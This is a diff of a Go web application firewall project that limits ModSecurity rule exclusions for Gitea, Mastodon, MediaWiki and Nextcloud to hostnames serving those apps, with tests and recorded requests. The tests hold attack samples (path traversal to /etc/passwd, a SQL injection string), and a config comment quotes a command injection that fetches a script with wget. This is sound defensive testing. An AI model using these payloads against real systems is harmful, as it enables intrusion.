+# from in the query parameter from, which skips the list of command names
+# (932260) there. It refused the push of a layer from owner/python3-app.
+SecRule REQUEST_FILENAME "@rx ^/v2/.+/blobs/uploads/$" \
+    "id:900500,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932260;ARGS:from"
+
+SecMarker END_GITEA

internal/coreruleset/gitea_test.go

@@ -8,6 +8,13 @@ import (
 	"sneak.berlin/go/smallwebwaf/internal/coreruleset"
 )
 
+// giteaAdminUnadoptedRepos and forgejoAdminUnadoptedRepos are the admin pages
+// of unadopted repositories. The forms that adopt or delete one post there.
+const (
+	giteaAdminUnadoptedRepos   = "/-/admin/repos/unadopted"
+	forgejoAdminUnadoptedRepos = "/admin/repos/unadopted"
+)
+
 // giteaSearches are searches of the pages gitea and Forgejo share whose q
 // skips the lists of system files and command names, in the eighth change.
 // gitea serves its admin pages under /-/admin/ and Forgejo under /admin/.
@@ -30,12 +37,12 @@ var giteaSearches = []string{
 	"/-/admin/users",
 	"/-/admin/orgs",
 	"/-/admin/repos",
-	"/-/admin/repos/unadopted",
+	giteaAdminUnadoptedRepos,
 	"/-/admin/emails",
 	"/-/admin/emails/activate",
 	"/admin/actions/runners",
 	"/admin/users",
-	"/admin/repos/unadopted",
+	forgejoAdminUnadoptedRepos,
 	"/admin/emails/activate",
 }
 
@@ -60,7 +67,7 @@ func TestGiteaAdminFormsLetHardValuesThroughInTheBody(t *testing.T) {
 	for _, value := range hardValues {
 		adopt := "id=alice%2Flegacy-site&action=adopt&q=" + value + "&page=1"
 
-		for _, path := range []string{"/-/admin/repos/unadopted", "/admin/repos/unadopted"} {
+		for _, path := range []string{giteaAdminUnadoptedRepos, forgejoAdminUnadoptedRepos} {
 			r := request{http.MethodPost, path, []string{formData}}
 			wantBody(t, crs, r, adopt, coreruleset.Result{}, adopt)
 		}
@@ -75,6 +82,67 @@ func TestGiteaAdminFormsLetHardValuesThroughInTheBody(t *testing.T) {
 	}
 }
 
+func TestGiteaFormsThatAdoptARepositoryLetItsNameThrough(t *testing.T) {
+	t.Parallel()
+
+	const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
+
+	crs := readingBodies(t)
+
+	// The admin forms send the repository's owner and name in id, and the
+	// form in a user's settings only its name. robin/assets holds bin/as, a
+	// shell path.
+	ownerAndName := []string{
+		"alice%2Fpython3-app",
+		"alice%2Fpowershell-scripts",
+		"alice%2F.profile",
+		"robin%2Fassets",
+	}
+
+	for _, form := range []struct {
+		path string
+		ids  []string
+	}{
+		{giteaAdminUnadoptedRepos, ownerAndName},
+		{forgejoAdminUnadoptedRepos, ownerAndName},
+		{
+			"/user/settings/repos/unadopted", // gitea's and Forgejo's
+			[]string{"python3-app", "powershell-scripts", ".profile"},
+		},
+	} {
+		r := request{http.MethodPost, form.path, []string{formData}}
+
+		for _, action := range []string{"adopt", "delete"} {
+			for _, id := range form.ids {
+				body := "id=" + id + "&action=" + action
+				wantBody(t, crs, r, body, coreruleset.Result{}, body)
+			}
+		}
+
+		// Another field keeps those rules.
+		body := "id=" + form.ids[0] + "&action=adopt&page=python3"
+		wantBody(t, crs, r, body, matched(932260), body)
+
+		// Attacks in id are still refused.
+		for _, attack := range []string{
+			sqlInjection,
+			scriptInjection,
+			commandInjection,
+			"..%2F..%2Fetc%2Fpasswd",
+		} {
+			body := "id=" + attack + "&action=adopt"
+			if got, _ := inspectBody(t, crs, r, body); got.Score < threshold {
+				t.Errorf("POST %s %s let through: %+v", form.path, body, got)
+			}
+		}
+	}
+
+	// On another path, id keeps those rules.
+	r := request{http.MethodPost, "/-/admin/repos", []string{formData}}
+	body := "id=alice%2Fpython3-app&action=adopt&q=&page=1"
+	wantBody(t, crs, r, body, matched(932260), body)
+}
+
 func TestGiteaAttacksAreRefusedInItsSearches(t *testing.T) {
 	t.Parallel()
 

internal/coreruleset/mastodon.conf

@@ -1,4 +1,4 @@
-# The twelfth change: on Mastodon's paths, some fields skip the rules that
+# Mastodon's fixes: on Mastodon's paths, some fields skip the rules that
 # refused ordinary Mastodon requests there. They are the fields where Mastodon
 # sends a search, a name, a title, a file name, an address or free text. Each
 # exclusion runs with the request, before the rules it switches off, so this
@@ -17,6 +17,13 @@
 #   932250: ls -la
 #   932260: python3
 
+# Every rule below is skipped unless Inspect has set tx.app_mastodon. It sets
+# it while SWW_APPS is unset, or lists mastodon for the request's hostname.
+# The skip reaches only phase 1, so a rule of a later phase must check
+# tx.app_mastodon itself.
+SecRule &TX:app_mastodon "@eq 0" \
+    "id:900940,phase:1,pass,nolog,skipAfter:END_MASTODON"
+
 # The API's searches and names, in the query:
 #   q: /api/v2/search?q=python3, /api/v1/accounts/search?q=ls+-la
 #   acct: /api/v1/accounts/lookup?acct=python3
@@ -297,3 +304,5 @@ SecRule REQUEST_FILENAME "@rx ^/auth(?:/|$)" \
         "ctl:ruleRemoveTargetById=930120;ARGS:/^user\[email\]$/,\
         ctl:ruleRemoveTargetById=932120;ARGS:/^user\[email\]$/,\
         ctl:ruleRemoveTargetById=932260;ARGS:/^user\[email\]$/"
+
+SecMarker END_MASTODON

internal/coreruleset/mastodon_test.go

@@ -55,6 +55,20 @@ const (
 	mastodonStatus   = "status="
 )
 
+func TestMastodonFixesApplyOnlyToAHostnameThatServesMastodon(t *testing.T) {
+	t.Parallel()
+
+	crs := servingApps(t, map[string][]string{
+		giteaHost: {gitea}, otherHost: {"mastodon"},
+	})
+
+	// A search, which only Mastodon's fixes let through.
+	search := get("/api/v2/search?q=python3")
+
+	wantResult(t, crs, withHost(search, otherHost), coreruleset.Result{})
+	wantResult(t, crs, withHost(search, giteaHost), matched(932260))
+}
+
 // mastodonQueryFields sends each field that skips 930120, 932120, 932250
 // and 932260 in the query, on a path where it skips them, ending in "=".
 //

internal/coreruleset/mediawiki.conf

@@ -1,4 +1,4 @@
-# The eleventh change: on MediaWiki's paths, some fields skip the rules that
+# MediaWiki's fixes: on MediaWiki's paths, some fields skip the rules that
 # refused ordinary MediaWiki requests there. They are the fields where MediaWiki
 # sends a search, a title, a name, a file name, an address, a summary or a
 # reason, and the fields that hold wikitext. Each exclusion runs with the
@@ -21,6 +21,13 @@
 #   932250: ls -la
 #   932260: python3
 
+# Every rule below is skipped unless Inspect has set tx.app_mediawiki. It sets
+# it while SWW_APPS is unset, or lists mediawiki for the request's hostname.
+# The skip reaches only phase 1, so a rule of a later phase must check
+# tx.app_mediawiki itself.
+SecRule &TX:app_mediawiki "@eq 0" \
+    "id:900890,phase:1,pass,nolog,skipAfter:END_MEDIAWIKI"
+
 # The pages and their titles, the searches, and the special pages' fields
 # for a page, a user, a file or an address:
 #   title: /index.php?title=Python3_notes&action=history
@@ -208,10 +215,12 @@ SecRule REQUEST_FILENAME "@rx ^/(?:w/)?api\.php$" \
 # Spezial:. The title follows /index.php/ or /wiki/ in the path, or is the title
 # of /index.php. A title on any other path does not count, so another app's
 # paths under /index.php/ keep every rule. These rules are in phase 2, because
-# the forms send authAction in the body.
+# the forms send authAction in the body. They check tx.app_mediawiki, since the
+# skip above does not reach phase 2.
 SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php$|^/(?:(?:w/)?index\.php|wiki)/[^/:]+:" \
     "id:900919,phase:2,pass,nolog,chain"
     SecRule REQUEST_FILENAME|ARGS_GET:title "@rx ^(?:/(?:(?:w/)?index\.php|wiki)/)?[^/:]+:" "chain"
+    SecRule &TX:app_mediawiki "@eq 1" "chain"
     SecRule &ARGS_GET:/^(?:password|retype)$/ "@eq 0" "chain"
     SecRule ARGS:authAction "@streq change" \
         "ctl:ruleRemoveTargetById=920270;ARGS:/^(?:password|retype)$/,\
@@ -253,6 +262,7 @@ SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php$|^/(?:(?:w/)?index\.php|wiki)/
 SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php$|^/(?:(?:w/)?index\.php|wiki)/[^/:]+:" \
     "id:900920,phase:2,pass,nolog,chain"
     SecRule REQUEST_FILENAME|ARGS_GET:title "@rx ^(?:/(?:(?:w/)?index\.php|wiki)/)?[^/:]+:" "chain"
+    SecRule &TX:app_mediawiki "@eq 1" "chain"
     SecRule &ARGS_GET:retype "@eq 0" "chain"
     SecRule ARGS:authAction "@rx ^(?:create|login-continue)$" \
         "ctl:ruleRemoveTargetById=920270;ARGS:retype,\
@@ -381,10 +391,12 @@ SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
 # This rule is in phase 2, because a phase 1 rule runs before the body is read
 # and cannot see what wpTitles holds. It checks that the body sends wpTitles
 # once, since it would otherwise skip these rules for a second wpTitles
-# holding a command.
+# holding a command. It checks tx.app_mediawiki, since the skip above does not
+# reach phase 2.
 SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
     "id:900916,phase:2,pass,nolog,chain"
     SecRule REQUEST_FILENAME|ARGS_GET_NAMES "@rx ^/(?:w/)?index\.php/.|^/wiki/|^title$" "chain"
+    SecRule &TX:app_mediawiki "@eq 1" "chain"
     SecRule &ARGS_GET:wpTitles "@eq 0" "chain"
     SecRule &ARGS_POST:wpTitles "@eq 1" "chain"
     SecRule ARGS_POST:wpTitles "!@rx [;|&`{]" \
@@ -393,3 +405,5 @@ SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
         ctl:ruleRemoveTargetById=932235;ARGS:wpTitles,\
         ctl:ruleRemoveTargetById=932260;ARGS:wpTitles,\
         ctl:ruleRemoveTargetById=932380;ARGS:wpTitles"
+
+SecMarker END_MEDIAWIKI

internal/coreruleset/mediawiki_test.go

@@ -5,11 +5,16 @@ import (
 	"slices"
 	"strings"
 	"testing"
+
+	"sneak.berlin/go/smallwebwaf/internal/coreruleset"
 )
 
 // mediawikiThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
 const mediawikiThreshold = 5
 
+// mediawiki is MediaWiki's name in SWW_APPS.
+const mediawiki = "mediawiki"
+
 // mediawikiEdit is the address MediaWiki's edit form posts to.
 const mediawikiEdit = "/index.php?title=Example&action=submit"
 
@@ -49,6 +54,117 @@ const (
 	mediawikiUploadPage = "/index.php/Special:Upload"
 )
 
+func TestMediaWikiFixesApplyOnlyToAHostnameThatServesMediaWiki(
+	t *testing.T,
+) {
+	t.Parallel()
+
+	crs := servingApps(t, map[string][]string{
+		giteaHost: {gitea}, otherHost: {mediawiki},
+	})
+
+	// A search, which only MediaWiki's fixes let through.
+	search := get("/index.php?title=Special:Search&search=python3")
+
+	wantResult(t, crs, withHost(search, otherHost), coreruleset.Result{})
+	wantResult(t, crs, withHost(search, giteaHost), matched(932260))
+}
+
+func TestMediaWikiWatchlistFixAppliesOnlyToAHostnameThatServesMediaWiki(
+	t *testing.T,
+) {
+	t.Parallel()
+
+	crs := shared(t, coreruleset.Params{
+		ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
+		Apps: map[string][]string{
+			giteaHost: {gitea},
+			otherHost: {mediawiki},
+		},
+	})
+
+	// A watchlist that only the phase 2 rule 900916 lets through.
+	r := request{
+		http.MethodPost,
+		mediawikiWatchlist.target,
+		[]string{formData},
+	}
+	body := mediawikiWatchlist.field + "Lighthouse%20notes%0D%0APython3%20notes"
+
+	got, _ := inspectBody(t, crs, withHost(r, otherHost), body)
+	if got.Score >= mediawikiThreshold {
+		t.Errorf(
+			"POST %s %s on %s refused: %+v",
+			r.target,
+			body,
+			otherHost,
+			got,
+		)
+	}
+
+	got, _ = inspectBody(t, crs, withHost(r, giteaHost), body)
+	if got.Score < mediawikiThreshold {
+		t.Errorf(
+			"POST %s %s on %s let through: %+v",
+			r.target,
+			body,
+			giteaHost,
+			got,
+		)
+	}
+}
+
+func TestMediaWikiPasswordFixesApplyOnlyToAHostnameThatServesMediaWiki(
+	t *testing.T,
+) {
+	t.Parallel()
+
+	crs := shared(t, coreruleset.Params{
+		ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
+		Apps: map[string][]string{
+			giteaHost: {gitea},
+			otherHost: {mediawiki},
+		},
+	})
+
+	// Passwords that only the phase 2 rules 900919 and 900920 let through,
+	// each sent with the authAction of its form.
+	for _, sent := range []struct{ target, body string }{
+		{
+			mediawikiAccountChange,
+			formBody("authAction", "change") + "&" + formBody(passwordKey, "' OR '1'='1"),
+		},
+		{
+			mediawikiSignUp,
+			formBody("authAction", "create") + "&" + formBody(retypeKey, "' OR '1'='1"),
+		},
+	} {
+		r := request{http.MethodPost, sent.target, []string{formData}}
+
+		got, _ := inspectBody(t, crs, withHost(r, otherHost), sent.body)
+		if got.Score >= mediawikiThreshold {
+			t.Errorf(
+				"POST %s %s on %s refused: %+v",
+				r.target,
+				sent.body,
+				otherHost,
+				got,
+			)
+		}
+
+		got, _ = inspectBody(t, crs, withHost(r, giteaHost), sent.body)
+		if got.Score < mediawikiThreshold {
+			t.Errorf(
+				"POST %s %s on %s let through: %+v",
+				r.target,
+				sent.body,
+				giteaHost,
+				got,
+			)
+		}
+	}
+}
+
 // mediawikiQueryFields and mediawikiBodyFields together hold every field that
 // skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles,
 // the passwords and the JSON fields of /rest.php/. mediawikiQueryFields sends

internal/coreruleset/nextcloud.conf

@@ -1,4 +1,4 @@
-# The fourteenth change: on Nextcloud's paths, some fields skip the rules that
+# Nextcloud's fixes: on Nextcloud's paths, some fields skip the rules that
 # refused ordinary Nextcloud requests there. They are the fields where Nextcloud
 # sends a search, a name, a file name, a folder, a comment, a note, a status or
 # a document's text. Each exclusion runs with the request, before the rules it
@@ -29,6 +29,13 @@
 # "; wget http://example.com/x.sh" reaches Nextcloud in these fields. SQL
 # injection, path traversal and script injection are still refused there.
 
+# Every rule below is skipped unless Inspect has set tx.app_nextcloud. It sets
+# it while SWW_APPS is unset, or lists nextcloud for the request's hostname.
+# The skip reaches only phase 1, so a rule of a later phase must check
+# tx.app_nextcloud itself.
+SecRule &TX:app_nextcloud "@eq 0" \
+    "id:900090,phase:1,pass,nolog,skipAfter:END_NEXTCLOUD"
+
 # The sync client and the Files app use these WebDAV methods besides those
 # the first change allows, on /remote.php/dav/ and /public.php/dav/ and on the
 # older /remote.php/webdav/ and /public.php/webdav/. 911100 refused each:
@@ -155,8 +162,10 @@ SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?(?:login/confirm|lostpassword/se
 # change: key=password&value=..., or the same in JSON. This rule is in phase 2,
 # because a phase 1 rule runs before the body is read. It checks that the body
 # sends key once, so a second key cannot skip these rules for another field.
+# It checks tx.app_nextcloud, since the skip above does not reach phase 2.
 SecRule REQUEST_FILENAME "@rx ^/ocs/v[12]\.php/cloud/users/[^/]+$" \
     "id:900127,phase:2,pass,nolog,chain"
+    SecRule &TX:app_nextcloud "@eq 1" "chain"
     SecRule &ARGS_GET:/^(?:json\.)?(?:key|value)$/ "@eq 0" "chain"
     SecRule &ARGS_POST:/^(?:json\.)?key$/ "@eq 1" "chain"
     SecRule ARGS_POST:/^(?:json\.)?key$/ "@streq password" \
@@ -441,3 +450,5 @@ SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/addressbooks/" \
     SecRule REQUEST_METHOD "@streq MKCOL" \
         "ctl:ruleRemoveTargetById=932125;XML:/*,\
         ctl:ruleRemoveTargetById=932230;XML:/*"
+
+SecMarker END_NEXTCLOUD

internal/coreruleset/nextcloud_test.go

@@ -51,6 +51,95 @@ const (
 // nextcloudOther is a JSON field no exclusion names.
 const nextcloudOther = `{"other":"python3"}`
 
+// nextcloud is Nextcloud's name in SWW_APPS.
+const nextcloud = "nextcloud"
+
+func TestNextcloudFixesApplyOnlyToAHostnameThatServesNextcloud(
+	t *testing.T,
+) {
+	t.Parallel()
+
+	crs := servingApps(t, map[string][]string{
+		giteaHost: {gitea}, otherHost: {nextcloud},
+	})
+
+	// A search, which only Nextcloud's fixes let through.
+	search := get(nextcloudUsers + "?search=python3")
+
+	wantResult(t, crs, withHost(search, otherHost), coreruleset.Result{})
+	wantResult(t, crs, withHost(search, giteaHost), matched(932260))
+}
+
+func TestNextcloudWebDAVMethodsPassOnlyOnHostnamesThatServeNextcloud(
+	t *testing.T,
+) {
+	t.Parallel()
+
+	crs := servingApps(t, map[string][]string{
+		giteaHost: {gitea}, otherHost: {nextcloud},
+	})
+
+	// Listing a folder, as the sync client does.
+	list := request{nextcloudPropFind, nextcloudFiles, nil}
+
+	wantResult(t, crs, withHost(list, otherHost), coreruleset.Result{})
+	wantResult(t, crs, withHost(list, giteaHost), matched(911100))
+
+	// Making a calendar, as a CalDAV client does.
+	calendar := request{
+		nextcloudMkcalendar,
+		nextcloudCalendars + "work/",
+		nil,
+	}
+
+	wantResult(t, crs, withHost(calendar, otherHost), coreruleset.Result{})
+	wantResult(t, crs, withHost(calendar, giteaHost), matched(911100))
+}
+
+func TestNextcloudPasswordInValuePassesOnlyOnHostnamesThatServeNextcloud(
+	t *testing.T,
+) {
+	t.Parallel()
+
+	crs := shared(t, coreruleset.Params{
+		ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
+		Apps: map[string][]string{
+			giteaHost: {gitea},
+			otherHost: {nextcloud},
+		},
+	})
+
+	// A password that only the phase 2 rule 900127 lets through.
+	r := request{
+		http.MethodPut,
+		nextcloudUsers + "/alice",
+		[]string{formData},
+	}
+	body := "key=password&value=" + url.QueryEscape("' OR '1'='1")
+
+	got, _ := inspectBody(t, crs, withHost(r, otherHost), body)
+	if got.Score >= nextcloudThreshold {
+		t.Errorf(
+			"PUT %s %s on %s refused: %+v",
+			r.target,
+			body,
+			otherHost,
+			got,
+		)
+	}
+
+	got, _ = inspectBody(t, crs, withHost(r, giteaHost), body)
+	if got.Score < nextcloudThreshold {
+		t.Errorf(
+			"PUT %s %s on %s let through: %+v",
+			r.target,
+			body,
+			giteaHost,
+			got,
+		)
+	}
+}
+
 // nextcloudQueryFields are the query fields that skip 930120, 932120, 932250
 // and 932260, each on a path where it skips them, ending in "=".
 //

internal/coreruleset/recorded_test.go

@@ -13,8 +13,13 @@ import (
 	"slices"
 	"strings"
 	"testing"
+
+	"sneak.berlin/go/smallwebwaf/internal/coreruleset"
 )
 
+// appsUnset labels the checks made while SWW_APPS is unset.
+const appsUnset = "SWW_APPS unset"
+
 // giteaRequests returns the recorded ordinary gitea requests in testdata.
 // Each has the Referer of a page that names the same, as a page opened
 // from it has.
@@ -47,16 +52,31 @@ func giteaRequests(t *testing.T) []request {
 	return requests
 }
 
+// TestOrdinaryGiteaRequestsPass checks gitea's recorded requests with
+// SWW_APPS unset, and on giteaHost while SWW_APPS lists only gitea for it.
 func TestOrdinaryGiteaRequestsPass(t *testing.T) {
 	t.Parallel()
 
 	const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
 
-	crs := atDefaults(t)
+	requests := giteaRequests(t)
+	giteaOnly := map[string][]string{giteaHost: {gitea}}
 
-	for _, r := range giteaRequests(t) {
+	for apps, crs := range map[string]*coreruleset.CoreRuleSet{
-		if got := inspect(t, crs, r); got.Score >= threshold {
+		appsUnset:                             atDefaults(t),
-			t.Errorf("%s %q refused: %+v", r.target, r.headers[1:], got)
+		"SWW_APPS=" + giteaHost + ":" + gitea: servingApps(t, giteaOnly),
+	} {
+		for _, r := range requests {
+			got := inspect(t, crs, withHost(r, giteaHost))
+			if got.Score >= threshold {
+				t.Errorf(
+					"%s: %s %q refused: %+v",
+					apps,
+					r.target,
+					r.headers[1:],
+					got,
+				)
+			}
 		}
 	}
 }
@@ -102,101 +122,163 @@ func recordedRequests(t *testing.T, name string) []recordedRequest {
 }
 
 // wantRecordedRequestsPass checks that none of the recorded ordinary
-// requests in the file name in testdata is refused, at the defaults and
+// requests in the file name in testdata is refused: with SWW_APPS unset, and
-// while bodies are read. A request with neither a body nor a Content-Type
+// on the hostname where they were recorded, otherHost for WordPress and
-// header is checked only at the defaults: with neither, the set that reads
+// example.com for the other apps, while SWW_APPS lists only app for it. Both
-// bodies has nothing more to check. Each request runs as its own parallel
+// times, they are checked at the defaults and while bodies are read. A
-// subtest.
+// request with neither a body nor a Content-Type header is checked only at
-func wantRecordedRequestsPass(t *testing.T, name string) {
+// the defaults: with neither, the set that reads bodies has nothing more to
+// check. Each request runs as its own parallel subtest for each setting of
+// SWW_APPS.
+func wantRecordedRequestsPass(t *testing.T, name, app string) {
 	t.Helper()
 
 	const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
 
-	defaults, bodies := atDefaults(t), readingBodies(t)
+	requests := recordedRequests(t, name)
 
-	for _, recorded := range recordedRequests(t, name) {
+	for setting, apps := range map[string]map[string][]string{
-		t.Run(recorded.Method+" "+recorded.Target, func(t *testing.T) {
+		appsUnset:                    nil,
-			t.Parallel()
+		"SWW_APPS lists only " + app: {"example.com": {app}, otherHost: {app}},
+	} {
+		defaults := servingApps(t, apps)
+		bodies := shared(t, coreruleset.Params{
+			ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
+			BodyLimit: bodyLimit, Apps: apps,
+		})
 
-			r := request{recorded.Method, recorded.Target, recorded.Headers}
+		for _, recorded := range requests {
+			t.Run(
+				setting+": "+recorded.Method+" "+recorded.Target,
+				func(t *testing.T) {
+					t.Parallel()
 
-			got, _ := inspectBody(t, defaults, r, recorded.Body)
+					r := request{
-			if got.Score >= threshold {
+						recorded.Method,
-				t.Errorf("%s %s refused: %+v", r.method, r.target, got)
+						recorded.Target,
-			}
+						recorded.Headers,
+					}
 
-			typed := slices.ContainsFunc(
+					got, _ := inspectBody(t, defaults, r, recorded.Body)
-				recorded.Headers,
+					if got.Score >= threshold {
-				func(header string) bool {
+						t.Errorf(
-					name, _, _ := strings.Cut(header, ":")
+							"%s %s refused: %+v",
+							r.method,
+							r.target,
+							got,
+						)
+					}
 
-					return strings.EqualFold(name, "Content-Type")
+					typed := slices.ContainsFunc(
+						recorded.Headers,
+						func(header string) bool {
+							name, _, _ := strings.Cut(header, ":")
+
+							return strings.EqualFold(name, "Content-Type")
+						},
+					)
+					if recorded.Body == "" && !typed {
+						return
+					}
+
+					got, _ = inspectBody(t, bodies, r, recorded.Body)
+					if got.Score >= threshold {
+						t.Errorf(
+							"%s %s %.200q refused while bodies are read: %+v",
+							r.method,
+							r.target,
+							recorded.Body,
+							got,
+						)
+					}
 				},
 			)
-			if recorded.Body == "" && !typed {
+		}
-				return
-			}
-
-			got, _ = inspectBody(t, bodies, r, recorded.Body)
-			if got.Score >= threshold {
-				t.Errorf("%s %s %.200q refused while bodies are read: %+v",
-					r.method, r.target, recorded.Body, got)
-			}
-		})
 	}
 }
 
 func TestOrdinaryDrupalRequestsPass(t *testing.T) {
 	t.Parallel()
 
-	wantRecordedRequestsPass(t, "drupal-requests.txt")
+	wantRecordedRequestsPass(t, "drupal-requests.txt", "drupal")
 }
 
 // TestOrdinaryForgejoRequestsPass checks Forgejo's recorded requests at the
-// defaults only. While bodies are read, the Core Rule Set still refuses the
+// defaults only: with SWW_APPS unset, and on example.com, where they were
-// file and branch names some of them carry in a form or JSON body, as it does
+// recorded, while SWW_APPS lists only forgejo for it. While bodies are read,
-// gitea's (TestGiteaBodiesTheCoreRuleSetRefuses).
+// the Core Rule Set still refuses a new wiki page whose title and text name
+// commands and files, as it does such text in gitea's comments
+// (TestGiteaBodiesTheCoreRuleSetRefuses). The requests that name a file or a
+// branch in a body are checked while bodies are read in
+// TestForgejoNamesInBodiesPass.
 func TestOrdinaryForgejoRequestsPass(t *testing.T) {
 	t.Parallel()
 
 	const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
 
-	crs := atDefaults(t)
+	requests := recordedRequests(t, "forgejo-requests.txt")
+	forgejoOnly := map[string][]string{"example.com": {forgejo}}
 
-	for _, recorded := range recordedRequests(t, "forgejo-requests.txt") {
+	for apps, crs := range map[string]*coreruleset.CoreRuleSet{
-		r := request{recorded.Method, recorded.Target, recorded.Headers}
+		appsUnset:                      atDefaults(t),
-		if got, _ := inspectBody(t, crs, r, recorded.Body); got.Score >= threshold {
+		"SWW_APPS=example.com:forgejo": servingApps(t, forgejoOnly),
-			t.Errorf("%s %s refused: %+v", r.method, r.target, got)
+	} {
+		for _, recorded := range requests {
+			r := request{recorded.Method, recorded.Target, recorded.Headers}
+			if got, _ := inspectBody(t, crs, r, recorded.Body); got.Score >= threshold {
+				t.Errorf(
+					"%s: %s %s refused: %+v",
+					apps,
+					r.method,
+					r.target,
+					got,
+				)
+			}
 		}
 	}
 }
 
+// TestGiteaNamesInBodiesPass checks gitea's recorded requests that name a
+// file or a branch in a body, while bodies are read too.
+func TestGiteaNamesInBodiesPass(t *testing.T) {
+	t.Parallel()
+
+	wantRecordedRequestsPass(t, "gitea-names-in-bodies.txt", gitea)
+}
+
+// TestForgejoNamesInBodiesPass is TestGiteaNamesInBodiesPass for Forgejo.
+func TestForgejoNamesInBodiesPass(t *testing.T) {
+	t.Parallel()
+
+	wantRecordedRequestsPass(t, "forgejo-names-in-bodies.txt", forgejo)
+}
+
 func TestOrdinaryMastodonRequestsPass(t *testing.T) {
 	t.Parallel()
 
-	wantRecordedRequestsPass(t, "mastodon-requests.txt")
+	wantRecordedRequestsPass(t, "mastodon-requests.txt", "mastodon")
 }
 
 func TestOrdinaryMediaWikiRequestsPass(t *testing.T) {
 	t.Parallel()
 
-	wantRecordedRequestsPass(t, "mediawiki-requests.txt")
+	wantRecordedRequestsPass(t, "mediawiki-requests.txt", mediawiki)
 }
 
 func TestOrdinaryNextcloudRequestsPass(t *testing.T) {
 	t.Parallel()
 
-	wantRecordedRequestsPass(t, "nextcloud-requests.txt")
+	wantRecordedRequestsPass(t, "nextcloud-requests.txt", nextcloud)
 }
 
 func TestOrdinaryVaultwardenRequestsPass(t *testing.T) {
 	t.Parallel()
 
-	wantRecordedRequestsPass(t, "vaultwarden-requests.txt")
+	wantRecordedRequestsPass(t, "vaultwarden-requests.txt", "vaultwarden")
 }
 
 func TestOrdinaryWordPressRequestsPass(t *testing.T) {
 	t.Parallel()
 
-	wantRecordedRequestsPass(t, "wordpress-requests.txt")
+	wantRecordedRequestsPass(t, "wordpress-requests.txt", wordpress)
 }

internal/coreruleset/testdata/forgejo-names-in-bodies.txt

@@ -0,0 +1,41 @@
+# Ordinary Forgejo 17.0.1 requests that name a file or a branch in a body, which
+# the Core Rule Set must let through while it reads bodies. They were recorded
+# from a Forgejo driven by a headless Chrome, signed in, and by a script on the
+# API. Each line is one request as JSON. Names, cookies and tokens are
+# invented. The browser's User-Agent is an ordinary Chrome's.
+{"method": "POST", "target": "/api/v1/repos/alice/tools/branches", "headers": ["Accept-Encoding: identity", "Content-Length: 62", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"new_branch_name\": \"python3-docs\", \"old_branch_name\": \"main\"}"}
+{"method": "POST", "target": "/api/v1/repos/alice/tools/pulls", "headers": ["Accept-Encoding: identity", "Content-Length: 103", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"title\": \"Add Dockerfile\", \"head\": \"feat/docker-support\", \"base\": \"main\", \"body\": \"Builds the image.\"}"}
+{"method": "POST", "target": "/api/v1/repos/alice/tools/contents/scripts/powershell-build.ps1", "headers": ["Accept-Encoding: identity", "Content-Length: 105", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"content\": \"V3JpdGUtSG9zdCAiYnVpbGQiCg==\", \"message\": \"Add a PowerShell build script\", \"branch\": \"main\"}"}
+{"method": "POST", "target": "/alice/tools/_edit/main/docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 278", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "last_commit=7fdea7fc2e2e31e0acbd7c19e7a79b71b370a535&page_has_posted=&tree_path=docker-compose.yml&content=services%3A%0D%0A++web%3A%0D%0A++++image%3A+nginx%3A1.27%0D%0A&commit_summary=Pin+nginx&commit_message=&commit_choice=direct&new_branch_name=alice-patch-1&commit_mail_id=1"}
